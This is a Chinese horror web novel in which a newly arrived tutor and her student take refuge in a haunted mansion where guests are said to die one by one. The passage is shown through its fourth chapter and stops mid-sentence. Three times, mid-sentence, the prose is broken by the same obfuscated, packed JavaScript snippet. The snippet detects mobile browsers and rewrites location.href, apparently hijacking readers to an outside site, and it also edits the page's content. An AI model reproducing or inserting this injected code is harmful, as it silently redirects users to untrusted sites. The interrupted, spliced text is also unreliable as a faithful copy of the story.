《古宅惊魂》 1. 家教 我搬进上襄镇的那天是五月十五,日头正好,下车时明亮的光线不得不让我眯起眼睛。汗水滑入短衫,我吃力地将行李往一栋房子里搬。周边住宅的居民正坐在门口唠嗑,见我到来都不自觉停下交谈,将目光牢牢地锁在我的身上。 作为一个不喜社交的人来说,这些非善非恶的眼神让我如芒在背。我手忙脚乱地将行李扔进屋子,又和搬家师傅结算了路费。 她们嗫嚅着嘴唇似乎想同我说话,但最终都没有开口。我想她们或许看见了我的窘迫,这才没有用家长里短式的询问来为难我这个外乡人。 简单收拾了积了一层灰尘的屋子,我就瘫倒在床上不肯起来,连饭也懒得做。迷迷糊糊睡了一觉,我再睁眼时只觉得头顶刷得灰白的天花板在旋转,房门和窗子都移了位置。 这种眩晕感很奇妙,让我有些喜欢。这一年太忙,忙到我都忽略了自己的身体状况。辞职后我找了好久才找到这里,小镇子的节奏总是很慢,我想没有比这里更合适我休养的地方了。 安静的环境总是让人心旷神怡,邻居们不坐在门外唠嗑的时候,我就蹲在屋前荒芜的院子里看杂草,或者挖挖土。 但与世隔绝总是我的一厢情愿,镇上的人总有逢人就打招呼的本事。一个中年妇人推着婴儿车经过院子门口,不知道怎的就停在了我的院子前:“小姑娘,你是刚搬到这里来的吧。” 我忙起身,露出礼貌的微笑。她似乎对我很感兴趣,同我多攀谈了两句,很快就摸清楚我的底细。 “哎呀,我突然想起来,这附近有一人家想找英语家教呢。孩子在读高中,就趁着这个暑假给孩子补补课。暑假在读书的大学生回来得多,好找,现在趁着大学生还没回来,你要不去问问看?” “我?”说一点都不动心是假的,毕竟据我所知家教还挺赚钱的,空闲时间也多,只是不太稳定。我最终还是承认了自己有兴趣,她给我了一串电话号码,联系人叫宋梅平,是学生的母亲。 我从来都是害怕打电话的,甚至比面对面还要抗拒。摇摆了一个晚上,我还是打通了电话。 “你来吧。”接电话的正是宋梅平,她的语气轻松温和,消解了我的紧张。事情发展得出乎意料得顺利,放下电话的手微微有些颤抖,喜悦从心底一点点升起,我透过窗户看向铺满霞光的天空,听着屋外沙沙的风声,心又渐渐平静下来。 周末,我来到雇主家,只有宋梅平母子在家。整个会面的过程非常迅速,宋梅平先是问过我的学籍,又让学生出来同我见了一面,见他点头,便将我留了下来。 “老师好。”学生叫袁宋,下半年要读高二,他所在的高中比较宽松,即将到来的暑假甚至都没有补习,所以他的父母才想着找个家教。 “老师坐吧,我先写一会儿题,写完后给您看看,您再针对性地给我讲解。”这是期末考前的一个周末,我看着他自觉搬出试卷来做题。 我对他的第一印象就是自律,这么自律的学生也要找家教?而且我对长相干净的人有一种莫名的滤镜,总觉得他们应该是很少让周围人操心的那一类学生。这也不是独属于我的刻板印象,我将自己的经验直白地抽成一根线,或许与这种印象还真有几分关联。 “老师为什么要搬到这里来?您不愿意留在大城市吗?”袁宋突然抬头问我。 “嗯?”我对他直白的打探一时惊到,随即摇了摇头,“不是,我只是想找个清静的地方休养一段时间。” “您生病了?” “也不算,只是想休息一下。”我不欲过多说自己的情况,每个人都会有心累的时候,也会有心病,我不想让别人知道我矫情,尽管我就是这样的人。 “那老师好好休养,我不会给您添麻烦的。”他对我温和地笑了笑,然后埋头继续做题。 见他如此听话,我对他的印象不由得好了几分,教他也更有耐心了些。 转眼间我来镇子上已经有半个月之久,袁宋也完成期末考试迎来了暑假。我眯着眼想起自己读高中那会儿,补课蔚然成风,塞满了试卷的暑假也不过二十天,简直丧失人性。 “啊,老师的学校竟然是这样的吗?”听我随口讲了几句自己的高中生涯,袁宋表现得很惊讶,随即又诚恳地问我,“这样教出的学生是不是成绩都很好呢?” 我说不是。这是个很讽刺的问题,永远绷着一根筋,终有一天会断的吧。 “这个暑假老师如果没有给我补习的话,会做什么呢?”袁宋问我。 “应该在家里看看书,或者看看草吧。”我漫不经心地回答。 “哦,这样也太无趣了一些,幸好您来了。”袁宋弯了弯眉眼,在我发呆的时候给我泡了一杯温茶。我感慨于这孩子的细心,笑着朝他表示了感谢。 头有些昏,身上有些冷,我迷迷糊糊从沙发上坐起,发现自己还在学生家的客厅。此时的天已经黑了,客厅里却没有一束灯光。这个点大人不是应该回来了吗?对了,袁宋呢,这孩子怎么不叫醒我?显得我这个当家教的太不负责,这是我最在意的点。 站起身活动了一下筋骨,我循着记忆走向玄关,不知道是不是睡得太久的原因,我总觉得脚步有些虚浮。明天没有安排教学,我还是回去好好休息一下吧,嗯,还要记得吃晚饭。 只是按照平常的路线回家,没想到我却意外发现了一座我从来没有在意过的房子。我站在一处空荡荡的二层楼房面前,院子里杂草丛生,比起我那里遑不相让。大门大喇喇开着,一阵风吹过,只有门撞到铁皮簸箕的声音。 好空,好荒凉,这是我对这栋楼的第一印象。我走到院门口往里面瞧,客厅里竟然也是空荡荡的,墙面上贴了很多传单。传单几乎都一个样子,上面是几个模糊不清的大字,下面是一串数字,像是电话号码。那就是没人住了,我好奇地走进这座没有栅栏的院子里。 “老师!”袁宋的声音将我的思绪拉回来。他快步走到我身边,语气有些焦急:“老师怎么到这里来了?” “哦,我正准备回去呢,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156077|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道怎么走到这里来了,”我看了一眼他手上的烧烤盒,就说他怎么不在家,原来是去买吃的去了,我朝他摆摆手,“那我回去了。” 我说完就准备离开,却被他拉住:“老师,你走错了,这里不是回去的路。” 袁宋神情认真地看着我,拉着我的手腕带我走上了一条方向完全相反的路。 天很昏暗,看不见星月,倒是我脚下的水泥路显得有点亮。等我恍过神来,我们已经走过水泥路段来到了泥土小道。这里是哪里?这完全不是我熟悉的路,没想到在我不知不觉间就跟着一个孩子走了这么远。 “老师,别回头!” 他出声已经太晚了,我已经挣开他的手站在了原地回头望去。是一望无际的黑暗,从路中心开始向外发散,永无止尽。 “来不及了。”袁宋强行拉着我向前方奔跑,我的心跳因恐惧而加快,直觉告诉我我的背后跟着什么东西,它们紧追不舍,似乎只要我慢下来就会被吞噬。 我想活着,求生的欲望猛地攀上心头,刺激着我不知疲倦地和袁宋一起往前跑去。在危险追赶的时候,所有关于时间的感知是不准确的。我感觉过了漫长的时间,肺部的空气开始稀薄,脚步也变得沉重。这个时候,我看见了光,橙红的灯笼发着象征着希望的光。 袁宋拉着我走到灯笼下站着,我抬头打量着这扇大门,是仿古样式,看起来就很厚重。 我看见袁宋一直警惕地朝四周打量,眉宇间似乎有些焦急。然后他抬手敲了敲门环,“砰砰砰”,不久就走出一个五十岁左右的男人,他穿着右衽黑色长衫,站在大门前的灯笼下,简直要和这座宅子融为一体。 “叨扰贵家,我叫袁宋,这位是我的老师。今天出了点意外,我们没法回家,希望能借宿一晚,请先生转告主人家。”袁宋的语气有些快,我觉得他的行为非常古怪,但眼前不是问问题的时候,于是我没有插话。 男人听了只是微微颔首,没有先回去转告主人家,反而直接招呼我们进去。心里的疑惑越来越深,我只能跟着袁宋走进宅子里。 我还是第一次见到这样大的仿古住宅,最特别的一点是,它没有那些仿古建筑的精致感和现代感,反而有一种老旧沉闷的氛围,行走在游廊里仿佛真的有一种穿越到几百年前的感觉。 宅子里点了很多灯,但院子并没有被它们照亮,依旧是昏暗的模样。前院似乎很大,我们跟着游廊走了一会儿才看到房子,在灯笼的映照下,这个房子显得很普通,我无法判断它是不是正屋。 依旧是一扇大门,推开,正对着我们的是一条走廊,左右是两排屋子,每一排有六间。走廊尽头又是一扇门,紧紧关闭着,但是粗看起来比我背后的这扇门要精致一些。 “劳烦二位在这边休息。”男人,不,应该称为管家给我们打开了两间邻近的屋子,我走进去的时候其他房间都紧紧关闭着门。 “老师,晚上无论您听到什么,或是看到什么,一定不要开门。”关门前,袁宋如此叮嘱我。 2. 借宿 听了袁宋的话,我的心脏又剧烈跳起来,紧张、害怕,似乎还夹杂着一丝兴奋。我想,如果明天一早起来发觉这一切不是梦的话,我一定会疯掉的。 仿古风格贯穿了每一间屋子,我看着眼前的灰色木门有些无奈,然后仔细地闩好门。我转身打量着屋子,房间不大,左手边最内侧是一张床,床尾有一个极小的卫生间,用不太结实的木门做了阻隔。梳妆桌安置在床头,书桌正对着门,只有一把椅子。床上铺了一张毯子,没有被褥,不过有地方睡觉就已经很好了。 我扫了一眼桌子,表面上什么都没有,抽屉我不敢乱翻。应该就这样睡觉就好了吧,我坐在床上,身体因为奔跑过已经很累了,但我的头脑太清醒了,突然来到陌生人的家里,任谁都睡不着吧。 “砰砰”,墙壁传来敲击声,我凑近了去听。 “老师,即使不想睡最好也要闭上眼睛。”是袁宋的声音,他就住在我隔壁。 “你都知道些什么?”我忍不住问他,他知道的事情明显比我多太多,我想,如果我也知道很多事,就不会这么害怕了吧。 “嘘”,他一停顿,我的心就立即提到嗓子眼,紧张地四处乱瞟。然而我等了半天也没等到他再说话,正当我打算躺下的时候,我听到隔壁传来一句轻声的“晚安”。 我没有回应他,毕竟我什么都不知道,可不敢说话。 “熄灯!”一道悠长的声音响彻走廊,像是有回音般敲了敲我房间的门。然后我看着房间内的灯瞬间熄灭,我浑身顿时冒出了鸡皮疙瘩,脑海中泛出一阵一阵的黑。我本来是想开手机灯的,但一想到“熄灯”二字,便松开了紧握手机的手。 关了灯后房间就只剩一片浓重的黑暗,我躺在床上瞪大了眼睛盯着门口,警惕在寂静环境中的任何动静。不对,袁宋说要闭眼睛的,我又慌张地将眼睛闭上。没了光,也没了视觉,我心里的不安和恐惧成倍增长,这种环境怎么可能睡着? 黑暗将寂静放大到无法忍受的程度,我第一次发现自己的耳朵如此灵敏,连屋外细微的风声都听得一清二楚。 “咚咚”,“咚咚”,是敲门声,但敲的不是我这间屋子的门。我仔细听着声音的动向,很快就发现不对劲,只有敲门声,没有脚步声! 我感觉头皮快要炸开,然而我只是一动不动地躺在床上,连脚趾头都没有动一下。没有听见开门声,我心里松了一口气,等会儿我也不开门就好了。 正当我这样想着,敲门声也来到了我的房间前,我没有理会,呼吸声都放轻了些。然而声音在我门前停留的时间似乎过于长了,然后我听到了门闩松动的声音。 完蛋了!很难想象,一个接受过现代知识教育的人,能跟着行为怪异的学生住到一个陌生人的家里,并且在不知道外面是什么东西的情况下发出这样绝望的呐喊。 或许外面只是人,或许什么恐怖都没有发生,我脑海中闪过无数条想法,却也只是仅此而已。 过于恐惧的我开始思考起袁宋的话来,他说的就一定是对的吗?主人家说的“熄灯”就一定要听吗?只是凭我和他短短的师生情谊?不,只是雇佣关系而已。他完全可以和别人自导自演这样一出戏码,说着模棱两可的话,渲染怪异恐怖的氛围,利用人趋利避害和亲近熟悉的本能来设计我,也许不只是我。 我不知道这样做的目的是什么?但在局势不明朗的情况下,我完全可以用最大的恶意来揣测隐瞒情报的袁宋及这户人家,这也是人的本能。 门闩吱吱呀呀地响动着,我在判断它的可靠性。我开始后悔没有去翻一下书桌抽屉,也许有可以防身的东西呢。我不能就这样坐以待毙,我保持着最警觉的姿态,一遍遍在心里给自己鼓气:如果遇到危险,一定要拼了命反抗,即使伤害别人也在所不惜! “砰”,门闩被抽掉了,我紧张地动了动腿,脑中已经预演了无数遍反击的动作,要先出腿,立即起身,出拳,逃跑。 “哒哒”,多了脚步声,我感到很奇怪。脚步声一点点朝我的床铺移动,直到我的床头。我虽然已经预备好了,但是不到最后一刻我是不会睁眼的,两全的打算一定要做好。 仅此而已了,脚步声消失了,也没有东西碰我,我忽然觉得很困,即使强行清醒也抵不过困意。一觉醒来,已经是第二天了。 “老师!”是袁宋在叫我,他在敲我的房门。我下意识摸了摸枕头边的手机,眯着眼睛看了一眼时间,七点二十九分。房间内没有窗户,人只能通过灯和手机判断时间。我立即起身开灯,门闩还在,房门也没有被打开,那昨天晚上是怎么回事? 见我开门,袁宋上上下下把我打量了一遍,突然笑着问我:“老师就不怕我是假的,为了引您出来?” 假的?我原本准备迈出房门的脚又缩了回来,不过略一停顿后我还是走出了屋子。都已经睁眼开门了,我离不离开房间还能有什么区别? “老师昨晚休息得还好吗?”他关切地问我。 “一点都不好,”我打了个哈欠,扫视了一眼依旧昏暗的走廊,大门还关着,走廊唯一的光源就是门顶上的两扇小窗,“昨晚到底是怎么回事?” “我们先去用早饭吧。”袁宋摇了摇头,径直向走廊深处走去。我不太理解他的举动,第一时间难道不是和主人家道谢后离开吗,为什么还要留下来吃饭?但是现在的我手头上没有足够的信息,只能暂时跟着他走。 其他房间都没有动静,我跟着袁宋来到走廊最深处,面前是正屋的大门,左拐是饭堂,右拐是厅堂。我孤陋寡闻,从来没见过这种房子的格局,却又感到有一股沉闷的气息压在我的头上,使我每走一步路都如芒在背。 饭堂正中央是一张长方形木桌,二二四四正好可以坐十二个人,我们到的时候餐桌上已经坐了五个人,分别是和尚、老婆婆、中年妇人和一对年轻男女。我不知道该不该打招呼,侧头看了袁宋一眼。他视若无睹地找了个位置坐下,又招呼我和他坐在一起。 早饭主要是油条馒头加豆浆稀粥一类的,跟我平时吃的差不多,不是想象中的壕。我本来是不感觉饿的,但一看到早点就忍不住咽了咽口水。这时我才想起来,从昨天中午到现在,我就没吃过主食。 “昨天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156078|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个人呢?我们还是应该先去拜访主人家,然后早点回去吧。”我暂时克制住了对食物的欲望,回去才是第一要紧的。 “那个叔叔是这里的管家,现在正在正宅里呢。老师不用担心,早饭是可以吃的。”袁宋夹了一根油条放在盘里,然后朝我点点头。 我从来没见过这样的情况,如果这不是梦那就一定是我犯癔症了。在动筷之前,我先仔细打量了现场的众人。 和尚穿着黄色的僧服,腕上缠着一串佛珠,整个人十分沉静,正慢悠悠地吃粥,面对我打量的神情没有理会。 老婆婆穿着一身碎花布衣裤,双目看起来有些迟钝,但吃饭的劲头很足,丝毫没有注意到我的打量。 妇人穿着一身灰白色衣裤,五官看起来慈祥和善,眉头微皱,握着筷子的手有些犹豫,察觉到我的打量后转过头朝我笑了笑。 年轻男人的衬衣没有好好扣扣子,坐姿也不端正,起初我以为他是随性,但不经意间瞥到他搁在桌上的手,手指在发颤,他也在紧张吧。 年轻女人穿的是一身无袖黑色长裙,一头披肩长发。她正拨打着电话,但手机那头只有一串串忙音,察觉到我的打量,她抬头警惕地看了我一眼,目光在我和袁宋身上来回打转。 手机是拨不出去电话的,因为这里没有信号。昨晚关灯前我就注意到了,但因为熄灯来得太快我来不及重启,早上快速重启了几次,都是显示无信号。我不能和家人朋友联系,这个情况也到不了报警的程度,我只能尽力保证手机的电量足够。 “你们认识主人家吗?”我率先打起了招呼。前面的十二间房明显是客房,我不知道他们是被邀请来的客人还是和我们一样的借宿者。 “你们俩昨天才来吧,我听他称呼你老师,你是教书的?”女人问我。 “我只教他。” “哦,我们来这儿两天了,至今还没见到房主人。”没想到年轻女人是第一个接我话的,我看向其他人,希望能得到他们的回应。 这时袁宋起身给我打了一碗粥,又给我夹了两个包子:“老师先吃点东西吧,您昨天好像还没吃晚饭呢。” 餐桌上开始出现说话的声音,我一边吃饭一边和他们搭起话来。两个小年轻是一对情侣,男的叫狄堂,女的叫蔡思琪,都不是本地人。据他们所说,下过高速后他们循着导航找了一条近道,结果开到一半手机就没了信号,只能找户人家问路。他们的车现在还停在宅子外,昨晚太黑,我没有注意到外面是否有停车。 和我们一样是迷路,但是没有被那些不明的东西追赶,那些东西到底是什么? “我们出不去,”蔡思琪的语气带上了一丝颤抖和惊惧,“打不开大门,也见不到房主人,而且除了第一天就再也没有见到管家。” “这里根本不对劲,熄灯后有一些可怕的东西会敲门,不能开门,一定要睡着,”狄堂脸都皱成一团,绝望地看向我,“你们也知道吧。” “吱呀”一声响,是门开的声音,我看见狄堂浑身一抖,筷子滚落在地。我也瞬间头皮发麻,已经做好了逃回房间的准备。 3. 怪宅 然而什么都没有发生,也没有人出现。恐惧刺激了我的脾胃,我咽下最后一口包子,突然有些反胃。 “老师别怕。”袁宋握住我的手腕想要安慰我,我却觉得他有点碍事。这样拽着我,万一发生点危险,我都不好第一时间逃跑。 我记得网上有人说,遇到危险时只要跑得比最慢的那一个人快就好了,但是看过在场的各位,我觉得自己胜算并不大,唯一处于劣势的老婆婆吃饭干劲十足,说不定跑得比我还快。 餐桌上沉默了片刻,除了知道中年妇人叫杨菊、婆婆姓程外,我还没有从她们口中打听出更多的信息,众人便都说要回房休息了。 “你们不想离开吗?”我问他们。 杨菊和蔼地拍了拍我的肩:“小姑娘,这里没有你想的那么简单,我已经来了三天了,现在还不知道怎么回去。这里只有房间里是最安全的,此外就是饭点的饭桌了。” 她拿出手机看了一眼:“七点五十五,还有五分钟饭点时间就结束了,你赶紧吃完也回房去吧。” 她说完搁下碗筷就离开了,接着是程婆婆。婆婆半头白发,看起来不太有精神,但走路比杨菊还快,最先拐进了屋子,我有些庆幸自己没有从一开始就小瞧她。 蔡思琪二人也说要回去,一分钟之内桌上就剩下我、袁宋和和尚三个人。 “大师!”我立即将希望的神情投向和尚,他们应该是管妖魔鬼道的吧,这里怎么看都不正常了,他怎么还能坐得如此沉稳? 和尚从袖子里抽出两张金光灿灿的护身符,递给我们后一句话没说也回房去了。 “到底怎么回事?”我将一张符塞到袁宋手里,现在也只能问他了。 “来不及了,先回去吧,我们用蓝牙沟通。”眼看着时间跳到七点五十九分,袁宋拉着我快步离开饭堂,在最后的关头前把我推回了房间。 “熄灯!”那声音听得我头皮发麻,我快速爬上了床。 屋子里又恢复成了昏暗的环境,我坐在床上和袁宋传递消息。我们先将要发送的消息放到文档里,然后连接传输给对方。这样沟通非常方便,同样的我还可以和其他人沟通。只是蓝牙可以搜索到的设备就只有两台,一台是袁宋的,另一台的名称写着“SIQI”,应该是蔡思琪的。 我将自己的疑问一股脑儿地放进了文档里传给袁宋,然后又和“SIQI”打了招呼。 蔡思琪:幸好我有随身打开蓝牙的习惯。我和男朋友住隔壁,这墙壁不隔音,可以讲话,就没想到还有蓝牙可以联系。 我:熄灯睡觉什么的,你们是听那个管家说的吗?我发现大家来这里的天数好像都不一样,有离开的吗?他们有告诉你们什么吗? 蔡思琪:是管家说的,但我们一开始没放在心上,直到晚上我听到了对面屋子的开门声,第二天那个房间的人就不见了,应该是死了。很荒谬是吧,比我看的小说还扯,但这种比中大奖的几率还小的事就落在了我们头上,我起初也不信,但不敢赌。我和餐桌上的那些人没怎么说过话,你今天也看到了,大家只敢在饭点时间出来,时间有限,大家都各想各的。 死人!我感觉浑身的血液瞬间凝固了,头也开始一阵一阵的发昏。我慌忙从口袋里掏出一颗奶糖吃下,一会儿才缓过神来。 我打字的手都在颤抖! 我:你们怎么能确定是死人?为什么不报警? 蔡思琪:她们说的,打开门就会死,但谁也没亲眼见过,只知道住在这里的人减少了,房间也打不开了。我们第一天就报警了,那头根本听不到我们说话的声音,要不就是答非所问和忙线。这里已经不是常规的地方了,这些手段我们已经都试过了,我们想过了,至少要先找到管家。 我:昨晚我们被管家带进来你们听不见动静吗? 蔡思琪:不知道,走廊一直是静悄悄的,早上看到你们才知道这里又来人了。 太奇怪了!如果是管家走路没有声音,但是我和袁宋还说着话,按理来说她们不应该听不见,难道真的不能用常规去解释吗? “咚咚”,隔壁传来敲墙声,我赶紧断开“SIQI”,又连上袁宋的手机蓝牙,这才接收他的文档,内容有些长,我字斟句酌。 袁宋:这座宅子很特殊,它现实存在但又不被现实监测,只有在机缘巧合之下或者是灵巧之人才能进入。我们就是在机缘巧合之下进来的,那个和尚应该是灵巧之人,所以请您一定要贴身携带护身符。 看到这,我急忙把护身符塞到衬衣口袋里,然后继续向下看。 袁宋:熄灯后不能开门是这里的规矩,至于闭眼,我是害怕您看到可怕的东西后做出不理智的行为来,听说这里曾经有被吓疯的。一间房只能住一个人也是必须遵守的规矩,多于一个人,房门将无法关闭。 房间里是最安全的,只要不随意开门。此外,上午七点至八点、中午十二点至一点、下午五点至六点,这三个饭点时间里走廊以及饭堂也是安全的。至于非安全地方内有什么存在,我解释不清楚,总之是危险的、很不好的东西,请老师一定不要好奇心过盛。厅堂会在熄灯后打开,我想里面应该有什么东西,但我现在不敢轻举妄动,老师您也最好别一个人进去。 我想老师应该会好奇我为什么会知道这么多,其实这座宅子的相关情况被省内的一处非管所封存着,全名是“上襄镇古宅档案”,分了好几期,因为宅子的事件到现在都没有解决,只能分批次派遣稽查员进行调查。父亲就是所里的稽查员,五年前他来过这里一次,可惜没能找到根除古宅的办法,只记录了一些情况。 这座宅子每五年会出现一次,每次持续时间不足十日,算起来这个月正好到时间了。老师不用太担心,父亲一直计算着日子,这次他还会进来的,也一定会带我们出去。不过他没有说自己是怎么出去的,或许是担心我无法保密吧。对了,这份文档,还希望老师能保密,至少在父亲出现之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156079|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 据袁宋介绍,非管所全称为非自然事务管理所,隶属于非自然事务管理总局,听起来是正规机构。虽然曾经想象过,但实实在在地听说有这样一个负责收集和处理怪异事件的机构,我还是觉得不可思议。 我听说的见到的,简直和外星人已经来到地球的传闻一样荒谬。看完袁宋的文档,我的心已经彻底平静下来,先前我恐惧得几乎晕厥,没想到现在真的接收了如此多的信息,我的心里反而安定下来了。我甚至在想,这个世界到底有多少个面,明面暗面、虚面实面……?在我看不到的地方,是不是一直在发生着颠覆我三观的事情? 或许是我太容易轻信别人了,也或许是我的脑容量太低,只能被动地接收这些消息。不知道还要在这里待多久,我把手机调成了省电模式,希望它能支撑得更久一点。 袁宋的话让我开始思考起当下的处境,我不是没想过被人合伙欺骗的可能性,只是要动用这么大一座宅子和这些形形色色的人来作戏未免过于浮夸,而且袁宋推我回房时紧张的情绪不似作假,如果这是演戏只能说他们的演技太好了。再退一步讲,我又有什么可以图的?我现在宁可相信世上有鬼。 先假设袁宋说的都是真的,那就意味着这座宅子的存在一定有某种特殊意义。一方面,它容纳被未知危险追赶的人,比如我和袁宋;另一方面,它本身就存在着危险,例如敲门声和非饭点时间之外的走廊及两个大厅。但在危险之下,它又蕴藏着生机。 只是待在屋子里就一定能平安吗?如果只追求平安,那又该怎么找出口呢?厅堂、供桌,我想去那里看看,但前提是得等到熄灯,那是不安全的时间段,我有些害怕。 打开手机便签,我决定将我遭遇的一切先记录下来,暂时先跟着袁宋走吧,看他父亲什么时候进宅子。 很快就到了十二点,我先按兵不动,等着袁宋来敲门。和袁宋会合后,我才发现在屋子里是听不到外面的声音的,难怪蔡思琪说昨晚没听到我们的动静。不对,那她怎么听到了对面的开门声?我决定午饭时再问问她。 中午餐桌上多了一个脸色煞白的姑娘,看起来和我差不多大。 “早上我睡过头了,所以没有吃早饭。”她小声解释了一句。她坐在我的左手边,很方便我和她搭话。她说她叫宁雪,是本市的大学生,来这里只是为了参加高中同学的婚礼,也是问过路后阴差阳错来到了这里。今天是她来这里的第五天。 于是我梳理了一下大家来到宅子的天数,一共八个人,我和袁宋是第二天,蔡思琪和狄堂是第三天,杨菊是第四天,宁雪是第五天,程婆婆和和尚是第六天。 “还有不在餐桌上的人吗?”我问大家。 “有,但是已经消失了。”宁雪回答我。 “消失会不会是离开这里了?”我观察着众人的反应,想看他们都知道多少。 “就是死了。”程婆婆用混浊的眼睛盯着我,看得我一阵发毛。 4. 生变 “婆婆您知道多少?”我抓紧机会追问她,和尚是不说话的,程婆婆是在这儿待得最久的人了。 “每天都会死人,这是这里的规矩。在只剩最后一个人之前,没有人能打开那扇门。”婆婆说话的时候,众人都屏气凝神地听着,生怕错过一个字。 “那昨天?” 婆婆咧开嘴笑了笑:“昨天没事,因为人还没有到齐呀。” 程婆婆说的是十二个人得到齐,这样每天死人的规则才会生效。现在只是预备阶段,只要关灯睡觉不乱跑,就不会有生命危险。第二句话的意思就是,十二个人中,只有一个人能活下来。 大脑宕机了片刻,随即我释然地叹了一口气。只剩一个人啊,那我就没有必要逃命了,反正早死晚死都得死,死得越晚压力越大,还不如早死得痛快。 “一定会死人吗?如果我们都待在房间里,不就都没事了吗?”狄堂瞬间提起了精神,但在我眼里,他的神经绷得更紧了。再这样绷下去,总有一刻会断的吧,我想。 “呵呵,现在就该吃吃该喝喝,等人到齐了你们就自求多福吧。”程婆婆吃饭的劲头还是那么大,跟我婆婆一样,在别人家时总是卯足了劲吃喝,赶本似的。庄稼人吃饭就是这么猛,而且精神状态也好,我有些羡慕。 精神状态同样稳定的就只有一言不发的和尚和对饭菜挑挑拣拣的袁宋了。 “老师,汤趁热才好喝。”袁宋特意给我打了一碗汤,我感慨他的贴心,也知道他的这份底气来自他的父亲。只是如果婆婆的话是真的,他和他的父亲要怎么选择呢? 一个小时对于吃饭来说太过充足,我抓紧时间和众人交谈。不知道是不是婆婆刚才的话起了效果,大家变得沉默了很多,我只能去找袁宋说话。 “婆婆的话你听说过吗?”我问袁宋。 “老师相信我吗?”他反而先反问我,我当然点头,于是他才笑着说自己没听说过。 “他不是那样的人,他的身份也不允许他做这样过分的事。”在人前袁宋说得很谨慎,声音也很小,我当然知道他说的是谁,点头表示认同。 众人知道我们是师生,对我们的交谈也不感兴趣。我们都摸不准彼此的想法,即使是那对情侣,我也没有看到他们很亲近。他们只是坐在一起,连话也不怎么说,或许为避嫌也是用的蓝牙吧。 我跟袁宋说想去厅堂门口看看,袁宋犹豫了一会儿说要和我一起去。整座宅子的大方位是坐西朝东,饭堂在南厅堂在北,我和袁宋的房间在同一排,是南向的屋子。厅堂和饭堂的门一样是向内开的,此时紧紧关着,我伸手想碰那扇门却被袁宋阻止。 “老师,这扇门还是先不要随便碰比较好。”袁宋告诫我。 我侧过头认真地看着他:“袁宋,我相信你说的话,也相信你的父亲。只是如果那婆婆说的成了真,我也不会在乎那十二分之一的生还名额。” 有些话从一开始就说开是最好的,在这里我最相信的就是袁宋,得到他的信任很有必要,尽管他已经向我展示过他的诚意,但后面的事情谁说的准呢? “老师,我相信您,只是或许一切都没有那么糟,我相信我们都会出去的。”袁宋认真地回应我,让我有些欣慰。 午休的时间很快到了,又到了熄灯的时候。我不知道这个敲门声又什么意义,它只会让我的神经紧绷,然后干扰我的睡眠。我回想昨晚的经历,其实门闩根本就没有松,一切声音或许只是它引我出门的手段。只要我起床去检查门闩,就中了它的计谋。 晚饭的餐桌上没有更多信息了,程婆婆说中午的那些话是她小时候听大人们讲的,听说晚上出门有可能会被宅子抓进去,也不都是本地人,有很多外来的。生还者很少,疯的疯走的走,最终留下的也只是十二人活一的说法。大人们讲这个故事主要是为了警告小孩子不要夜晚出门,他们自己都是当故事听的。 今晚熄灯后我睁开了眼睛,我也不知道我哪里拥有的勇气,竟然想见识一下那东西是什么模样。 “老师,十二人到齐了,情况有变,您快跟我走!”没有意料之中的敲门声,反倒是袁宋的声音。我立即翻身坐起,敲了敲内侧的墙壁,这是我和袁宋商量联系的信号,隔壁却没有动静。 我已经下了床,但是走到门口又停了下来。上午他才告诉我房间是最安全的,现在一句“情况有变”就想让我离开这个最有安全感的地方,实在不得不让我多想。而且他怎么知道十二个人已经到齐了?我们分明听不见外来人员入住的声音。 都怪他,如果不是早上他搞那么一出,我肯定就开门了,犯不着如此纠结。不对,如果门外真的是袁宋,那他应该和那东西碰过面了,怎么会安全地站在我门口?我更加迷惑了。 “我叫袁宋,我的母亲叫宋梅平,父亲叫袁怔,您是我的英语家教。如果我是它,怎么会连这些也知道的一清二楚?” “老师,现在房间里是最危险的,您一定要相信我!”他的声音甚至有些颤抖。 大不了赌一把,横竖就是一条命,认栽了!我一把打开门,走廊正点着昏黄的灯光,门外的袁宋一见到我就拽着我的手腕朝厅堂跑去。 有什么东西飞快地从一间没有关好门的屋子里涌出,朝我们追来。袁宋一脚踹开厅堂的门,将我拽进屋转身就将门闩闩上。 “真的是你,我以为是那东西。”我后背抵在门口大喘着气,刚才心都提到了嗓子眼,幸好最后一刻开门了,不然会发生什么真的不好说。 “你们来了。”有些熟悉的嗓音,厅堂没有开灯,只有不远处的一根红蜡烛。 “爸!”袁宋欣喜地喊了一声,忙拉着我向唯一的光源走去。 “果真是夏老师。”袁怔先看清了我,我也顺势和他打了招呼,询问他怎么会出现在这里。这时我才发现他的身边站着一个十 